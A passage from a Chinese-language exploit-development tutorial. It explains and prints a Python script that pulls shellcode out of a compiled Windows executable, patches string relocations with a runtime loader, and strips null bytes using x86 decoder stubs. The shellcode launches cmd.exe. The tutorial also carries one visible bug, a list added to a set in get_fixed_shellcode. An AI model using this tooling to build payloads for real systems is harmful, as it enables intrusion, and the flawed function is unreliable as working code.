function_order.txt中的第一行仅有一行存在?entryPoint@@YAHXZ字符串，函数 entryPoint将首先被定位在shellcode中。
在源码中，linker决定了函数的顺序，因此我们可在任意函数前放入entryPoint 。main函数在源码中的最后部分，因此它会在shellcode的结尾处被链接。当描述映射文件时，我们将了解到这是如何实现的。
0x02 Python脚本
介绍
现在，含有shellcode的执行体已经准备就绪，我们需要一种提取并修复shellcode的方法。这并不容易，我已经编写了Python脚本来实现：
1.提取shellcode
2.处理字符串的重定位信息
3.通过移除null字节修复shellcode
使用 PyCharm (下载地址).
该脚本只有392行，但是它有些复杂，因此我将对其进行解释： 代码如下：
# Shellcode extractor by Massimiliano Tomassoli (2015)
import sys
import os
import datetime
import pefile
author = 'Massimiliano Tomassoli'
year = datetime.date.today().year
def dword_to_bytes(value):
return [value & 0xff, (value >> 8) & 0xff, (value >> 16) & 0xff, (value >> 24) & 0xff]
def bytes_to_dword(bytes):
return (bytes[0] & 0xff) | ((bytes[1] & 0xff) << 8) | \
((bytes[2] & 0xff) << 16) | ((bytes[3] & 0xff) << 24)
def get_cstring(data, offset):
'''
Extracts a C string (i.e. null-terminated string) from data starting from offset.
'''
pos = data.find('\0', offset)
if pos == -1:
return None
return data[offset:pos+1]
def get_shellcode_len(map_file):
'''
Gets the length of the shellcode by analyzing map_file (map produced by VS 2013)
'''
try:
with open(map_file, 'r') as f:
lib_object = None
shellcode_len = None
for line in f:
parts = line.split()
if lib_object is not None:
if parts[-1] == lib_object:
raise Exception('_main is not the last function of %s' % lib_object)
else:
break
elif (len(parts) > 2 and parts[1] == '_main'):
# Format:
# 0001:00000274 _main 00401274 f shellcode.obj
shellcode_len = int(parts[0].split(':')[1], 16)
lib_object = parts[-1]
if shellcode_len is None:
raise Exception('Cannot determine shellcode length')
except IOError:
print('[!] get_shellcode_len: Cannot open "%s"' % map_file)
return None
except Exception as e:
print('[!] get_shellcode_len: %s' % e.message)
return None
return shellcode_len
def get_shellcode_and_relocs(exe_file, shellcode_len):
'''
Extracts the shellcode from the .text section of the file exe_file and the string
relocations.
Returns the triple (shellcode, relocs, addr_to_strings).
'''
try:
# Extracts the shellcode.
pe = pefile.PE(exe_file)
shellcode = None
rdata = None
for s in pe.sections:
if s.Name == '.text\0\0\0':
if s.SizeOfRawData < shellcode_len:
raise Exception('.text section too small')
shellcode_start = s.VirtualAddress
shellcode_end = shellcode_start + shellcode_len
shellcode = pe.get_data(s.VirtualAddress, shellcode_len)
elif s.Name == '.rdata\0\0':
rdata_start = s.VirtualAddress
rdata_end = rdata_start + s.Misc_VirtualSize
rdata = pe.get_data(rdata_start, s.Misc_VirtualSize)
if shellcode is None:
raise Exception('.text section not found')
if rdata is None:
raise Exception('.rdata section not found')
# Extracts the relocations for the shellcode and the referenced strings in .rdata.
relocs = []
addr_to_strings = {}
for rel_data in pe.DIRECTORY_ENTRY_BASERELOC:
for entry in rel_data.entries[:-1]: # the last element's rvs is the base_rva (why?)
if shellcode_start <= entry.rva < shellcode_end:
# The relocation location is inside the shellcode.
relocs.append(entry.rva - shellcode_start) # offset relative to the start of shellcode
string_va = pe.get_dword_at_rva(entry.rva)
string_rva = string_va - pe.OPTIONAL_HEADER.ImageBase
if string_rva < rdata_start or string_rva >= rdata_end:
raise Exception('shellcode references a section other than .rdata')
str = get_cstring(rdata, string_rva - rdata_start)
if str is None:
raise Exception('Cannot extract string from .rdata')
addr_to_strings[string_va] = str
return (shellcode, relocs, addr_to_strings)
except WindowsError:
print('[!] get_shellcode: Cannot open "%s"' % exe_file)
return None
except Exception as e:
print('[!] get_shellcode: %s' % e.message)
return None
def dword_to_string(dword):
return ''.join([chr(x) for x in dword_to_bytes(dword)])
def add_loader_to_shellcode(shellcode, relocs, addr_to_strings):
if len(relocs) == 0:
return shellcode # there are no relocations
# The format of the new shellcode is:
# call here
# here:
# ...
# shellcode_start:
# <shellcode> (contains offsets to strX (offset are from "here" label))
# relocs:
# off1|off2|... (offsets to relocations (offset are from "here" label))
# str1|str2|...
delta = 21 # shellcode_start - here
# Builds the first part (up to and not including the shellcode).
x = dword_to_bytes(delta + len(shellcode))
y = dword_to_bytes(len(relocs))
code = [
0xE8, 0x00, 0x00, 0x00, 0x00, # CALL here
# here:
0x5E, # POP ESI
0x8B, 0xFE, # MOV EDI, ESI
0x81, 0xC6, x[0], x[1], x[2], x[3], # ADD ESI, shellcode_start + len(shellcode) - here
0xB9, y[0], y[1], y[2], y[3], # MOV ECX, len(relocs)
0xFC, # CLD
# again:
0xAD, # LODSD
0x01, 0x3C, 0x07, # ADD [EDI+EAX], EDI
0xE2, 0xFA # LOOP again
# shellcode_start:
]
# Builds the final part (offX and strX).
offset = delta + len(shellcode) + len(relocs) * 4 # offset from "here" label
final_part = [dword_to_string(r + delta) for r in relocs]
addr_to_offset = {}
for addr in addr_to_strings.keys():
str = addr_to_strings[addr]
final_part.append(str)
addr_to_offset[addr] = offset
offset += len(str)
# Fixes the shellcode so that the pointers referenced by relocs point to the
# string in the final part.
byte_shellcode = [ord(c) for c in shellcode]
for off in relocs:
addr = bytes_to_dword(byte_shellcode[off:off+4])
byte_shellcode[off:off+4] = dword_to_bytes(addr_to_offset[addr])
return ''.join([chr(b) for b in (code + byte_shellcode)]) + ''.join(final_part)
def dump_shellcode(shellcode):
'''
Prints shellcode in C format ('\x12\x23...')
'''
shellcode_len = len(shellcode)
sc_array = []
bytes_per_row = 16
for i in range(shellcode_len):
pos = i % bytes_per_row
str = ''
if pos == 0:
str += '"'
str += '\\x%02x' % ord(shellcode[i])
if i == shellcode_len - 1:
str += '";\n'
elif pos == bytes_per_row - 1:
str += '"\n'
sc_array.append(str)
shellcode_str = ''.join(sc_array)
print(shellcode_str)
def get_xor_values(value):
'''
Finds x and y such that:
1) x xor y == value
2) x and y doesn't contain null bytes
Returns x and y as arrays of bytes starting from the lowest significant byte.
'''
# Finds a non-null missing bytes.
bytes = dword_to_bytes(value)
missing_byte = [b for b in range(1, 256) if b not in bytes][0]
xor1 = [b ^ missing_byte for b in bytes]
xor2 = [missing_byte] * 4
return (xor1, xor2)
def get_fixed_shellcode_single_block(shellcode):
'''
Returns a version of shellcode without null bytes or None if the
shellcode can't be fixed.
If this function fails, use get_fixed_shellcode().
'''
# Finds one non-null byte not present, if any.
bytes = set([ord(c) for c in shellcode])
missing_bytes = [b for b in range(1, 256) if b not in bytes]
if len(missing_bytes) == 0:
return None # shellcode can't be fixed
missing_byte = missing_bytes[0]
(xor1, xor2) = get_xor_values(len(shellcode))
code = [
0xE8, 0xFF, 0xFF, 0xFF, 0xFF, # CALL $ + 4
# here:
0xC0, # (FF)C0 = INC EAX
0x5F, # POP EDI
0xB9, xor1[0], xor1[1], xor1[2], xor1[3], # MOV ECX, <xor value 1 for shellcode len>
0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3], # XOR ECX, <xor value 2 for shellcode len>
0x83, 0xC7, 29, # ADD EDI, shellcode_begin - here
0x33, 0xF6, # XOR ESI, ESI
0xFC, # CLD
# loop1:
0x8A, 0x07, # MOV AL, BYTE PTR [EDI]
0x3C, missing_byte, # CMP AL, <missing byte>
0x0F, 0x44, 0xC6, # CMOVE EAX, ESI
0xAA, # STOSB
0xE2, 0xF6 # LOOP loop1
# shellcode_begin:
]
return ''.join([chr(x) for x in code]) + shellcode.replace('\0', chr(missing_byte))
def get_fixed_shellcode(shellcode):
'''
Returns a version of shellcode without null bytes. This version divides
the shellcode into multiple blocks and should be used only if
get_fixed_shellcode_single_block() doesn't work with this shellcode.
'''
# The format of bytes_blocks is
# [missing_byte1, number_of_blocks1,
# missing_byte2, number_of_blocks2, ...]
# where missing_byteX is the value used to overwrite the null bytes in the
# shellcode, while number_of_blocksX is the number of 254-byte blocks where
# to use the corresponding missing_byteX.
bytes_blocks = []
shellcode_len = len(shellcode)
i = 0
while i < shellcode_len:
num_blocks = 0
missing_bytes = list(range(1, 256))
# Tries to find as many 254-byte contiguous blocks as possible which misses at
# least one non-null value. Note that a single 254-byte block always misses at
# least one non-null value.
while True:
if i >= shellcode_len or num_blocks == 255:
bytes_blocks += [missing_bytes[0], num_blocks]
break
bytes = set([ord(c) for c in shellcode[i:i+254]])
new_missing_bytes = [b for b in missing_bytes if b not in bytes]
if len(new_missing_bytes) != 0: # new block added
missing_bytes = new_missing_bytes
num_blocks += 1
i += 254
else:
bytes += [missing_bytes[0], num_blocks]
break
if len(bytes_blocks) > 0x7f - 5:
# Can't assemble "LEA EBX, [EDI + (bytes-here)]" or "JMP skip_bytes".
return None
(xor1, xor2) = get_xor_values(len(shellcode))
code = ([
0xEB, len(bytes_blocks)] + # JMP SHORT skip_bytes
# bytes:
bytes_blocks + [ # ...
# skip_bytes:
0xE8, 0xFF, 0xFF, 0xFF, 0xFF, # CALL $ + 4
# here:
0xC0, # (FF)C0 = INC EAX
0x5F, # POP EDI
0xB9, xor1[0], xor1[1], xor1[2], xor1[3], # MOV ECX, <xor value 1 for shellcode len>
0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3], # XOR ECX, <xor value 2 for shellcode len>
0x8D, 0x5F, -(len(bytes_blocks) + 5) & 0xFF, # LEA EBX, [EDI + (bytes - here)]
0x83, 0xC7, 0x30, # ADD EDI, shellcode_begin - here
# loop1:
0xB0, 0xFE, # MOV AL, 0FEh
0xF6, 0x63, 0x01, # MUL AL, BYTE PTR [EBX+1]
0x0F, 0xB7, 0xD0, # MOVZX EDX, AX
0x33, 0xF6, # XOR ESI, ESI
0xFC, # CLD
# loop2:
0x8A, 0x07, # MOV AL, BYTE PTR [EDI]
0x3A, 0x03, # CMP AL, BYTE PTR [EBX]
0x0F, 0x44, 0xC6, # CMOVE EAX, ESI
0xAA, # STOSB
0x49, # DEC ECX
0x74, 0x07, # JE shellcode_begin
0x4A, # DEC EDX
0x75, 0xF2, # JNE loop2
0x43, # INC EBX
0x43, # INC EBX
0xEB, 0xE3 # JMP loop1
# shellcode_begin:
])
new_shellcode_pieces = []
pos = 0
for i in range(len(bytes_blocks) / 2):
missing_char = chr(bytes_blocks[i*2])
num_bytes = 254 * bytes_blocks[i*2 + 1]
new_shellcode_pieces.append(shellcode[pos:pos+num_bytes].replace('\0', missing_char))
pos += num_bytes
return ''.join([chr(x) for x in code]) + ''.join(new_shellcode_pieces)
def main():
print("Shellcode Extractor by %s (%d)\n" % (author, year))
if len(sys.argv) != 3:
print('Usage:\n' +
' %s <exe file> <map file>\n' % os.path.basename(sys.argv[0]))
return
exe_file = sys.argv[1]
map_file = sys.argv[2]
print('Extracting shellcode length from "%s"...' % os.path.basename(map_file))
shellcode_len = get_shellcode_len(map_file)
if shellcode_len is None:
return
print('shellcode length: %d' % shellcode_len)
print('Extracting shellcode from "%s" and analyzing relocations...' % os.path.basename(exe_file))
result = get_shellcode_and_relocs(exe_file, shellcode_len)
if result is None:
return
(shellcode, relocs, addr_to_strings) = result
if len(relocs) != 0:
print('Found %d reference(s) to %d string(s) in .rdata' % (len(relocs), len(addr_to_strings)))
print('Strings:')
for s in addr_to_strings.values():
print(' ' + s[:-1])
print('')
shellcode = add_loader_to_shellcode(shellcode, relocs, addr_to_strings)
else:
print('No relocations found')
if shellcode.find('\0') == -1:
print('Unbelievable: the shellcode does not need to be fixed!')
fixed_shellcode = shellcode
else:
# shellcode contains null bytes and needs to be fixed.
print('Fixing the shellcode...')
fixed_shellcode = get_fixed_shellcode_single_block(shellcode)
if fixed_shellcode is None: # if shellcode wasn't fixed...
fixed_shellcode = get_fixed_shellcode(shellcode)
if fixed_shellcode is None:
print('[!] Cannot fix the shellcode')
print('final shellcode length: %d\n' % len(fixed_shellcode))
print('char shellcode[] = ')
dump_shellcode(fixed_shellcode)
main()
映射文件以及shellcode长度
在linker中使用如下选项来生成映射文件：
- Debugging:
- Generate Map File: Yes (/MAP)
告诉linker生成含有EXE结构的映射文件。
* Map File Name: mapfile
该映射文件主要用于判断shellcode长度。
这里是映射文件的相关部分：
shellcode
Timestamp is 54fa2c08 (Fri Mar 06 23:36:56 2015)
Preferred load address is 00400000
Start Length Name Class
0001:00000000 00000a9cH .text$mn CODE
0002:00000000 00000094H .idata$5 DATA
0002:00000094 00000004H .CRT$XCA DATA
0002:00000098 00000004H .CRT$XCAA DATA
0002:0000009c 00000004H .CRT$XCZ DATA
0002:000000a0 00000004H .CRT$XIA DATA
0002:000000a4 00000004H .CRT$XIAA DATA
0002:000000a8 00000004H .CRT$XIC DATA
0002:000000ac 00000004H .CRT$XIY DATA
0002:000000b0 00000004H .CRT$XIZ DATA
0002:000000c0 000000a8H .rdata DATA
0002:00000168 00000084H .rdata$debug DATA
0002:000001f0 00000004H .rdata$sxdata DATA
0002:000001f4 00000004H .rtc$IAA DATA
0002:000001f8 00000004H .rtc$IZZ DATA
0002:000001fc 00000004H .rtc$TAA DATA
0002:00000200 00000004H .rtc$TZZ DATA
0002:00000208 0000005cH .xdata$x DATA
0002:00000264 00000000H .edata DATA
0002:00000264 00000028H .idata$2 DATA
0002:0000028c 00000014H .idata$3 DATA
0002:000002a0 00000094H .idata$4 DATA
0002:00000334 0000027eH .idata$6 DATA
0003:00000000 00000020H .data DATA
0003:00000020 00000364H .bss DATA
0004:00000000 00000058H .rsrc$01 DATA
0004:00000060 00000180H .rsrc$02 DATA
Address Publics by Value Rva+Base Lib:Object
0000:00000000 ___guard_fids_table 00000000 <absolute>
0000:00000000 ___guard_fids_count 00000000 <absolute>
0000:00000000 ___guard_flags 00000000 <absolute>
0000:00000001 ___safe_se_handler_count 00000001 <absolute>
0000:00000000 ___ImageBase 00400000 <linker-defined>
0001:00000000 ?entryPoint@@YAHXZ 00401000 f shellcode.obj
0001:000001a1 ?getHash@@YAKPBD@Z 004011a1 f shellcode.obj
0001:000001be ?getProcAddrByHash@@YAPAXK@Z 004011be f shellcode.obj
0001:00000266 _main 00401266 f shellcode.obj
0001:000004d4 _mainCRTStartup 004014d4 f MSVCRT:crtexe.obj
0001:000004de ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z 004014de f MSVCRT:unhandld.obj
0001:0000051f ___CxxSetUnhandledExceptionFilter 0040151f f MSVCRT:unhandld.obj
0001:0000052e __XcptFilter 0040152e f MSVCRT:MSVCR120.dll
<snip>
从映射文件的开头得知，section 1为.text节，它含有代码：
Start Length Name Class
0001:00000000 00000a9cH .text$mn CODE
第二部分表明 .text节起始于 ?entryPoint@@YAHXZ，这是我们的entryPoint函数，最后一个函数是函数main（这里被称作_main）。因为main函数在偏移0x266上，并且entryPoint函数位于`，我们的shellcode起始于.text节的开头，并且长度为0x266`字节。
使用python实现：
def get_shellcode_len(map_file):
'''
Gets the length of the shellcode by analyzing map_file (map produced by VS 2013)
'''
try:
with open(map_file, 'r') as f:
lib_object = None
shellcode_len = None
for line in f:
parts = line.split()
if lib_object is not None:
if parts[-1] == lib_object:
raise Exception('_main is not the last function of %s' % lib_object)
else:
break
elif (len(parts) > 2 and parts[1] == '_main'):
# Format:
# 0001:00000274 _main 00401274 f shellcode.obj
shellcode_len = int(parts[0].split(':')[1], 16)
lib_object = parts[-1]
if shellcode_len is None:
raise Exception('Cannot determine shellcode length')
except IOError:
print('[!] get_shellcode_len: Cannot open "%s"' % map_file)
return None
except Exception as e:
print('[!] get_shellcode_len: %s' % e.message)
return None
return shellcode_len
提取 shellcode
这部分非常容易理解，我们知道shellcode的长度并且知道shellcode被定位在.text节的起始部分。代码如下：
def get_shellcode_and_relocs(exe_file, shellcode_len):
'''
Extracts the shellcode from the .text section of the file exe_file and the string
relocations.
Returns the triple (shellcode, relocs, addr_to_strings).
'''
try:
# Extracts the shellcode.
pe = pefile.PE(exe_file)
shellcode = None
rdata = None
for s in pe.sections:
if s.Name == '.text\0\0\0':
if s.SizeOfRawData < shellcode_len:
raise Exception('.text section too small')
shellcode_start = s.VirtualAddress
shellcode_end = shellcode_start + shellcode_len
shellcode = pe.get_data(s.VirtualAddress, shellcode_len)
elif s.Name == '.rdata\0\0':
<snip>
if shellcode is None:
raise Exception('.text section not found')
if rdata is None:
raise Exception('.rdata section not found')
<snip>
我使用了模块pefile (下载地址). 相关的部分是if语句体。
字符串和.rdata
正如之前所说的，c/c++代码可能含有字符串。例如，我们的shellcode含有如下代码：
My_CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &procInfo);
字符串cmd.exe被定位在.rdata节中，该节是一个只读的含有数据（已被初始化）的节。该代码对字符串进行绝对地址引用。
00241152 50 push eax
00241153 8D 44 24 5C lea eax,[esp+5Ch]
00241157 C7 84 24 88 00 00 00 00 01 00 00 mov dword ptr [esp+88h],100h
00241162 50 push eax
00241163 52 push edx
00241164 52 push edx
00241165 52 push edx
00241166 6A 01 push 1
00241168 52 push edx
00241169 52 push edx
0024116A 68 18 21 24 00 push 242118h <------------------------
0024116F 52 push edx
00241170 89 B4 24 C0 00 00 00 mov dword ptr [esp+0C0h],esi
00241177 89 B4 24 BC 00 00 00 mov dword ptr [esp+0BCh],esi
0024117E 89 B4 24 B8 00 00 00 mov dword ptr [esp+0B8h],esi
00241185 FF 54 24 34 call dword ptr [esp+34h]
正如我们观察到的，cmd.exe的绝对地址是242118h。注意该地址是push指令的一部分并且该绝对地址被定位在了24116Bh。如果我们用某个文件编辑器检测文件cmd.exe,我们看到如下：
56A: 68 18 21 40 00 push 000402118h
在文件中56Ah是偏移量。因为image base的偏移量为400000h，所以对应的虚拟地址是40116A。在内存中，这应该是执行体被加载的首选的（preferred）地址。执行体在指令中的绝对地址是402118h， 如果执行体在首选的基地址上被加载，即表明已正确执行。然而，如果执行体在不同的基地址上被加载，那么需要修复指令。Windows如何知道执行体含有需要被修复的地址？PE文件含有一个相对目录（Relocation Directory），在我们的案例中它指向.reloc节。该相对目录中包含所有需要被修复的位置上的RVA。
可以检查该目录并寻找如下所描述的位置上的地址
1.在shellcode中含有的（即从.text:0到末尾，main函数除外）， 2.含有.rdata中的数据指针。
例如，在其他地址中，Relocation Directory将包含位于指令push 402118h的后四个字节的地址40116Bh。这些字节构成了地址402118h，它指向在.rdata中的字符串cmd.exe（起始于地址402000h）。
观察函数get_shellcode_and_relocs。在第一部分我们提取.rdata节：
def get_shellcode_and_relocs(exe_file, shellcode_len):
'''
Extracts the shellcode from the .text section of the file exe_file and the string
relocations.
Returns the triple (shellcode, relocs, addr_to_strings).
'''
try:
# Extracts the shellcode.
pe = pefile.PE(exe_file)
shellcode = None
rdata = None
for s in pe.sections:
if s.Name == '.text\0\0\0':
<snip>
elif s.Name == '.rdata\0\0':
rdata_start = s.VirtualAddress
rdata_end = rdata_start + s.Misc_VirtualSize
rdata = pe.get_data(rdata_start, s.Misc_VirtualSize)
if shellcode is None:
raise Exception('.text section not found')
if rdata is None:
raise Exception('.rdata section not found')
相关部分是elif的语句体。
接着分析重定位部分，在我们的shellcode中寻找地址并从.rdata中提取被那些地址引用的以null结尾的字符串。
正如我们已经说过的，我们只关注shellcode中的地址。这里是函数get_shellcode_and_relocs的相关部分：
# Extracts the relocations for the shellcode and the referenced strings in .rdata.
relocs = []
addr_to_strings = {}
for rel_data in pe.DIRECTORY_ENTRY_BASERELOC:
for entry in rel_data.entries[:-1]: # the last element's rvs is the base_rva (why?)
if shellcode_start <= entry.rva < shellcode_end:
# The relocation location is inside the shellcode.
relocs.append(entry.rva - shellcode_start) # offset relative to the start of shellcode
string_va = pe.get_dword_at_rva(entry.rva)
string_rva = string_va - pe.OPTIONAL_HEADER.ImageBase
if string_rva < rdata_start or string_rva >= rdata_end:
raise Exception('shellcode references a section other than .rdata')
str = get_cstring(rdata, string_rva - rdata_start)
if str is None:
raise Exception('Cannot extract string from .rdata')
addr_to_strings[string_va] = str
return (shellcode, relocs, addr_to_strings)
pe.DIRECTORY_ENTRY_BASERELOC是一个数据结构表，它含有一个重定位表的入口。首先检查当前重定位信息是否在shellcode中。如果是，则进行如下操作：
1.将与shellcode的起始地址有关的重定位信息的偏移追加到 relocs；
2.从shellcode中提取在已经发现的偏移上的DWORD值，并在.rdata中检查该指向数据的DWORD值；
3.从.rdata中提取起始于我们在(2)中发现的以null结尾的字符串；
4.将字符串添加到addr_to_strings。
注意：
i.relocs含有在shellcode中重定位信息的偏移，即在需要被修复的shellcode中的DWORD值的偏移，以便它们指向字符串；
ii.addr_to_strings相当于一个与在(2)中被发现的字符串所在地址相关联的字典。
将loader添加到shellcode
方法是将被包含在addr_to_strings中的字符串添加到我们shellcode的尾部，然后让我们的代码引用那些字符串。
不幸的是，代码->字符串的链接过程必须在运行时完成，因为我们不知道shellcode的起始地址，那么我们需要准备一个在运行时修复shellcode的“loader”。这是转化后的shellcode结构:
OffX是指向原shellcode中重定位信息的DWORD值，它们需要被修复。loader将修复这些地址来让它们指向正确的字符串strX。 试图理解以下代码来了解实现原理：
def add_loader_to_shellcode(shellcode, relocs, addr_to_strings):
if len(relocs) == 0:
return shellcode # there are no relocations
# The format of the new shellcode is:
# call here
# here:
# ...
# shellcode_start:
# <shellcode> (contains offsets to strX (offset are from "here" label))
# relocs:
# off1|off2|... (offsets to relocations (offset are from "here" label))
# str1|str2|...
delta = 21 # shellcode_start - here
# Builds the first part (up to and not including the shellcode).
x = dword_to_bytes(delta + len(shellcode))
y = dword_to_bytes(len(relocs))
code = [
0xE8, 0x00, 0x00, 0x00, 0x00, # CALL here
# here:
0x5E, # POP ESI
0x8B, 0xFE, # MOV EDI, ESI
0x81, 0xC6, x[0], x[1], x[2], x[3], # ADD ESI, shellcode_start + len(shellcode) - here
0xB9, y[0], y[1], y[2], y[3], # MOV ECX, len(relocs)
0xFC, # CLD
# again:
0xAD, # LODSD
0x01, 0x3C, 0x07, # ADD [EDI+EAX], EDI
0xE2, 0xFA # LOOP again
# shellcode_start:
]
# Builds the final part (offX and strX).
offset = delta + len(shellcode) + len(relocs) * 4 # offset from "here" label
final_part = [dword_to_string(r + delta) for r in relocs]
addr_to_offset = {}
for addr in addr_to_strings.keys():
str = addr_to_strings[addr]
final_part.append(str)
addr_to_offset[addr] = offset
offset += len(str)
# Fixes the shellcode so that the pointers referenced by relocs point to the
# string in the final part.
byte_shellcode = [ord(c) for c in shellcode]
for off in relocs:
addr = bytes_to_dword(byte_shellcode[off:off+4])
byte_shellcode[off:off+4] = dword_to_bytes(addr_to_offset[addr])
return ''.join([chr(b) for b in (code + byte_shellcode)]) + ''.join(final_part)
观察loader：
CALL here ; PUSH EIP+5; JMP here
here:
POP ESI ; ESI = address of "here"
MOV EDI, ESI ; EDI = address of "here"
ADD ESI, shellcode_start + len(shellcode) - here ; ESI = address of off1
MOV ECX, len(relocs) ; ECX = number of locations to fix
CLD ; tells LODSD to go forwards
again:
LODSD ; EAX = offX; ESI += 4
ADD [EDI+EAX], EDI ; fixes location within shellcode
LOOP again ; DEC ECX; if ECX > 0 then JMP again
shellcode_start:
<shellcode>
relocs:
off1|off2|...
str1|str2|...
首先，使用CALL来获取here在内存中的绝对地址。loader使用该信息对原shellcode中的偏移进行修复。ESI指向off1，因此使用LODSD来逐一读取偏移。该指令
ADD [EDI+EAX], EDI
用于修复shellcode中的地址。EAX是当前的offX，offX是与here相关的地址偏移 。这意味着EDI+EAX是那个位置上的绝对地址。DWORD值在那个地址上包含相对于here的字符串偏移。通过将EDI添加到那个DWORD值，我们将该DWORD值转换为该字符串的绝对地址。当loader已经执行完毕时，shellcode已被修复，同时也被成功执行。
总结，如果存在重定位信息，那么会调用add_loader_to_shellcode。可在main函数中观察到：
<snip>
if len(relocs) != 0:
print('Found %d reference(s) to %d string(s) in .rdata' % (len(relocs), len(addr_to_strings)))
print('Strings:')
for s in addr_to_strings.values():
print(' ' + s[:-1])
print('')
shellcode = add_loader_to_shellcode(shellcode, relocs, addr_to_strings)
else:
print('No relocations found')
<snip>
从shellcode中移除null字节 (I)
编写如下两个函数来删去null字节。
1.get_fixed_shellcode_single_block
2.get_fixed_shellcode
可以试试使用第一个函数生成更短的代码，但是这样做不一定可被执行。但是如果使用第二个函数生成更长的代码，则必定可被执行。
首先观察get_fixed_shellcode_single_block函数，该函数的定义如下：
def get_fixed_shellcode_single_block(shellcode):
'''
Returns a version of shellcode without null bytes or None if the
shellcode can't be fixed.
If this function fails, use get_fixed_shellcode().
'''
# Finds one non-null byte not present, if any.
bytes = set([ord(c) for c in shellcode])
missing_bytes = [b for b in range(1, 256) if b not in bytes]
if len(missing_bytes) == 0:
return None # shellcode can't be fixed
missing_byte = missing_bytes[0]
(xor1, xor2) = get_xor_values(len(shellcode))
code = [
0xE8, 0xFF, 0xFF, 0xFF, 0xFF, # CALL $ + 4
# here:
0xC0, # (FF)C0 = INC EAX
0x5F, # POP EDI
0xB9, xor1[0], xor1[1], xor1[2], xor1[3], # MOV ECX, <xor value 1 for shellcode len>
0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3], # XOR ECX, <xor value 2 for shellcode len>
0x83, 0xC7, 29, # ADD EDI, shellcode_begin - here
0x33, 0xF6, # XOR ESI, ESI
0xFC, # CLD
# loop1:
0x8A, 0x07, # MOV AL, BYTE PTR [EDI]
0x3C, missing_byte, # CMP AL, <missing byte>
0x0F, 0x44, 0xC6, # CMOVE EAX, ESI
0xAA, # STOSB
0xE2, 0xF6 # LOOP loop1
# shellcode_begin:
]
return ''.join([chr(x) for x in code]) + shellcode.replace('\0', chr(missing_byte))
逐字节地分析shellcode并了解下这是否为被忽略的值，即从不出现在shellcode中的值。我们来了解下值0x14.如果我们用该值替换在shellcode中的每个0x00，那么shellcode将不再含有null字节，但是会因为被修改了而无法执行。最后是将一些decoder添加到shellcode，在运行时时，在原shellcode被执行前将重置null字节。如下：
CALL $ + 4 ; PUSH "here"; JMP "here"-1
here:
(FF)C0 = INC EAX ; not important: just a NOP
POP EDI ; EDI = "here"
MOV ECX, <xor value 1 for shellcode len>
XOR ECX, <xor value 2 for shellcode len> ; ECX = shellcode length
ADD EDI, shellcode_begin - here ; EDI = absolute address of original shellcode
XOR ESI, ESI ; ESI = 0
CLD ; tells STOSB to go forwards
loop1:
MOV AL, BYTE PTR [EDI] ; AL = current byte of the shellcode
CMP AL, <missing byte> ; is AL the special byte?
CMOVE EAX, ESI ; if AL is the special byte, then EAX = 0
STOSB ; overwrite the current byte of the shellcode with AL
LOOP loop1 ; DEC ECX; if ECX > 0 then JMP loop1
shellcode_begin:
这里有两个需要重点讨论的细节。首先，该代码不能含有null字节，因为我们需要另一段代码来移除他们
正如你看到的，CALL指令不会跳转到here，因为操作码（opcode）
E8 00 00 00 00 # CALL here
包含四个null字节. 因为CALL 指令为 5个字节, 所以CALL here指令等价于CALL $+5.除去null字节的技巧是使用指令 CALL $+4：
E8 FF FF FF FF # CALL $+4
那CALL跳过4个字节 并jmp到CALL本身的最后一个FF。由字节C0紧接着CALL指令，因此在CALL指令执行之后该指令INC EAX对应的操作码FF C0会被执行。注意CALL指令中已压入栈的值仍然是here标记的绝对地址
这是除去null字节的第二种技巧：
MOV ECX,XOR ECX,
我们可以只是使用：
MOV ECX,
但是这将不会生成null字节。而实际上，shellcode的长度为0x400，我们将会看到该指令
B9 00 04 00 00 MOV ECX, 400h
存在3个null字节。
为了避免存在该问题，我们选择使用一个不会出现在00000400h中的non-null字节。我们选择使用0x01.现在我们计算如下：
<xor value 1 for shellcode len> = 00000400h xor 01010101 = 01010501h
<xor value 2 for shellcode len> = 01010101h
在指令中使用<xor value 1 for shellcode len> 和 <xor value 2 for shellcode len>对应的操作码都不存在null字节，并且在执行xor操作后，生成的原始值为400h。
对应的两条指令将会是：
B9 01 05 01 01 MOV ECX, 01010501h
81 F1 01 01 01 01 XOR ECX, 01010101h
通过函数 get_xor_values来计算xor值。
正如以上提到过的，该代码很容易理解：通过逐字节检查shellcode来用特定的值（0x14，在之前的范例中）覆写null字节。
从shellcode中移除null字节(II)
如上的方法会失败，因为我们不能找到从不在shellcode中出现过的字节值。如果失败了，我们需要使用get_fixed_shellcode，但是它更为复杂。
方法是将shellcode分为多个254字节的块。注意每个块必须存在一个 “missing byte”，因为一个字节可以具有255个非0值。我们可以对每个块进行逐个处理来为每个块选择missing byte。但是这样做可能效率不高，因为对于一段具有254*N个字节的shellcode来说，我们需要在shellcode（存在识别missing bytes的decoder）被处理之前或之后存储N个 “missing bytes”。最有效的做法是，为尽可能多个254字节的块使用相同的“missing bytes”。我们从shellcode的起始部分开始对块进行处理，直到处理完最后一个块。最后，我们会有<missing_byte, num_blocks>配对的列表：
[(missing_byte1, num_blocks1), (missing_byte2, num_blocks2), ...]
我已决定将num_blocksX限制为一个单一字节，因此，num_blocksX 的值会在1到255之间。
此处是get_fixed_shellcode部分，该部分将shellcode分为多个块。
def get_fixed_shellcode(shellcode):
'''
Returns a version of shellcode without null bytes. This version divides
the shellcode into multiple blocks and should be used only if
get_fixed_shellcode_single_block() doesn't work with this shellcode.
'''
# The format of bytes_blocks is
# [missing_byte1, number_of_blocks1,
# missing_byte2, number_of_blocks2, ...]
# where missing_byteX is the value used to overwrite the null bytes in the
# shellcode, while number_of_blocksX is the number of 254-byte blocks where
# to use the corresponding missing_byteX.
bytes_blocks = []
shellcode_len = len(shellcode)
i = 0
while i < shellcode_len:
num_blocks = 0
missing_bytes = list(range(1, 256))
# Tries to find as many 254-byte contiguous blocks as possible which misses at
# least one non-null value. Note that a single 254-byte block always misses at
# least one non-null value.
while True:
if i >= shellcode_len or num_blocks == 255:
bytes_blocks += [missing_bytes[0], num_blocks]
break
bytes = set([ord(c) for c in shellcode[i:i+254]])
new_missing_bytes = [b for b in missing_bytes if b not in bytes]
if len(new_missing_bytes) != 0: # new block added
missing_bytes = new_missing_bytes
num_blocks += 1
i += 254
else:
bytes += [missing_bytes[0], num_blocks]
break
<snip>
